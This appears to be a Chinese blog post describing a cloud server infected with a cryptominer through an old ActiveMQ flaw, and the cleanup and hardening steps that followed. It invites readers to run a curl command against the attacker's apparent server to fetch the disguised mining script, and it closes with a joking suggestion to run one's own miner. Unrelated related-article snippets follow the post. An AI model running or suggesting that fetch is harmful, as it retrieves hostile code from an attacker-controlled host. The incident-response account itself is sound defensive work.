作者:我叫刘半仙

https://my.oschina.net/liughDevelop/blog/1786631

线上服务器用的是某云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来:网站不能访问了!

此项目是我负责,我以150+的手速立即打开了服务器,看到Tomcat挂了,然后顺其自然的重启,启动过程中直接被killed,再试试数据库,同样没成功

多次尝试甚至重启机器无果。机智的我打了个top,出现以下内容:

这是谁运行的程序?

不管三七二十一先杀掉再说,因为它就是Tomcat等程序启动不了的元凶。然而并没有什么卵用,过一会再看那个东西又跑出来占cpu。

怀疑是个定时任务:

什么鬼,是个图片?立即访问了一下:

好尴尬,但是心思细腻的我早知道没这么简单,肯定只是伪装,curl过去是下面的脚本,过程就是在挖矿:

有兴趣的同学想查看以上完整源代码,命令行运行下面指令(不分操作系统,方便安全无污染):

curl 192.99.142.235:8220/logo3.jpg

既然知道它是个定时任务,那就先取消了它,并且看看它是谁在运行:

杀掉,找到存放目录:

进入临时目录:

被我发现配置文件了,先来看看内容:

虎躯一震,发现了不少信息啊!

user是他的server的登录用户,下面是密码,只可惜加密过,应该找不到对方。算了,大度的我先不和你计较。

干掉这两个文件后再查看top:

解决办法

找到寄生的目录,一般都会在tmp里,我这个是在/var/tmp/。首先把crontab干掉,杀掉进程,再删除产生的文件。启动Tomcat等程序,大功告成!

等等,这远远不够,考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了,修复漏洞才对

不然你杀掉进程删掉文件后,黑客后门进来history一敲,都知道你做了啥修复手段。

所以上面办法治标不治本,我后续做了以下工作:

  1. 把所有软件升级到新版本
  2. 修改所有软件默认端口号
  3. 打开ssh/authorized_keys, 删除不认识的密钥
  4. 删除用户列表中陌生的帐号
  5. 封了他的ip
  6. SSH使用密钥登录并禁止口令登录(这个一般是加运维一个人的秘钥)

对了,本次遭受攻击是低版本ActiveMP开放端口61616有漏洞,大家记得做优化。

滔哥给提供了最好的方式:将主机镜像、找出病毒木马、分析入侵原因、检查业务程序、重装系统、修复漏洞、再重新部署系统。

写在最后

网友提供的一劳永逸终极解决办法:把你自己的挖矿脚本挂上去运行,这样别人就算挂脚本也跑不起来了。

tomcat 多人登录cpu占用过多_服务器被植入木马,CPU飙升200%相关推荐

  1. 无盘服务器 cpu占用,顺网科技网维大师程序占CPU资源多的解决过程

    顺网客科技的主打网吧产品就是网维大师了,网维大师在网吧和网咖行业用户量比较大,碰到各种奇怪的问题也是蛮多的,今天就来分享一个关于「顺网科技网维大师程序占CPU资源多」问题的解决过程,分享给大家,大家碰 ...

  2. sh shell实现自动杀死cpu占用最高的pid,同时当cpu超过95%自动重启apache

    实在是被逼无奈,才想出如此招数! 服务器老是被攻击,cpu占用特别高,而且特别高的进程是httpd(我知道有程序漏洞,but程序不是我写的). 第一种情况: httpd的占用已经达到99.8%了 第一 ...

  3. 软件测试cpu占用高,六个方法解决Win10 CPU占用过高卡顿 亲测有效

    大多数小伙伴的电脑系统都已经升级到最新版的Win10,我就想问一句"卡吗"?最近我发现,Win10有时会出现卡顿现象.一点击查看CPU占用情况,好家伙居然都已经出现红色警戒线了.那 ...

  4. matlab吃cpu还是显卡_老电脑该升级CPU、硬盘还是内存、显卡?大白话告诉你该怎么做...

    一台电脑的使用寿命还是很长的,只是到了一定时间,性能会越来越跟不上时代,连最基本的网页浏览都会变得卡卡的,尤其是超过5年的老电脑. 可是该怎办?扔了可惜,想继续用需要升级哪些部件呢?下面我们就来聊聊, ...

  5. cpu占用高 本地服务器,win10系统服务主机本地系统cpu占用高的解决方法

    很多小伙伴都遇到过win10系统服务主机本地系统cpu占用高的困惑吧,一些朋友看过网上零散的win10系统服务主机本地系统cpu占用高的处理方法,并没有完完全全明白win10系统服务主机本地系统cpu ...

  6. sql server windows nt cpu占用高_痛惜!年仅33岁著名球员患癌去世!曾是高以翔扮演角色原型...

    12月5日,年仅33岁的北京首钢男篮前队长吉喆因病去世.吉喆是北京首钢队的功勋球员,曾经与球队一起获得过三次总冠军. 12月5日上午,@北京首钢篮球俱乐部 通过微博发布消息: 吉喆走了. 2019年1 ...

  7. cpu占用100_Java项目服务器cpu占用100%解决办法

    1.使用命令top查看cpu进程,发现tomcat占用cpu使用率过高 可以看到服务器负载很高,tomcat CPU使用已达到接近300%,内存20%. 2.把进程的栈dump到文件里,以便后面的分析 ...

  8. java cpu io高_服务器负载过高问题分析-不是cpu高负载也不是IO负载如何处理(阿里 几乎是必考题)...

    关于top命令 经常问load average 参考:load average 定义(网易面试) 问题现象: 1,top命令查询服务器负载达到2.0-5之间,tomcat的cpu使用率达到104% l ...

  9. vb.net服务器启动后cpu占用了70_服务器如何区分攻击类型?

    作为服务器的管理者,每当服务器宕机无法访问时,就需要检查故障,尽快使服务器恢复运行.造成服务器无法访问的原因有很多,简单一点的系统故障,一般重启一就恢复,而复杂一点的比如系统或应用程序崩溃,就要争取备 ...

最新文章

  1. webapi输出炜json_WebApi返回Json格式
  2. [WCF权限控制]利用WCF自定义授权模式提供当前Principal[实例篇]
  3. EntityFramework_MVC4中EF5 新手入门教程之三 ---3.排序、 筛选和分页
  4. java break递归_【Java】递归总结
  5. 常用端口号及对应服务
  6. Linux下 vim代码编译器的使用
  7. svn: E155007 和 E155004
  8. 微信小程序 - 传参的几种方式
  9. 第七章、epub文件处理 -- 解析 .xhtml文件 (一)
  10. idea导出数据库的可执行sql文件
  11. AutoCAD如何将dwf转成dwg格式
  12. B站的经典封面制作方法
  13. 【元宇宙系列】元宇宙的创世居民——M 世代(Mateverse)
  14. 从零开始安装Gentoo
  15. 第七十六篇 MIPI简单说明
  16. c语言vc是什么意思,这个VC语句是什么意思
  17. NGUI动态字体教程
  18. Linux 不能命令补全,Linux 命令未自动提示补全
  19. c 语言 如何设置串口波特率,串口自动波特率设置程序
  20. 很猛很疯狂,北京楼市促销十年少见 房价下跌论渐占上风

热门文章

  1. 主mysql删除从服务不同步_MySQL主从不同步解决
  2. 利用宝塔linux面板+苹果CMS-----从0搭建一个电影网站(一)
  3. windows编写linux脚本,Windows PowerShell:共享您的脚本 - 在脚本中编写 Cmdlet | Microsoft Docs...
  4. Python基础教程:hashlib和hmac模块
  5. Python中str、list、numpy分片操作
  6. python中,如何将多行进行输出,同时将行尾的换行符去掉
  7. python是烂语言吗
  8. 考研数学三考摆线吗_考研数学,需要从课本开始吗?这样会不会比较慢?
  9. 中新赛克数据可视化_中新赛克——能否构建更安全的世界
  10. epub java虚拟机精讲_高级 Java 必须掌握:JVM 分析工具和查看命令,超详细!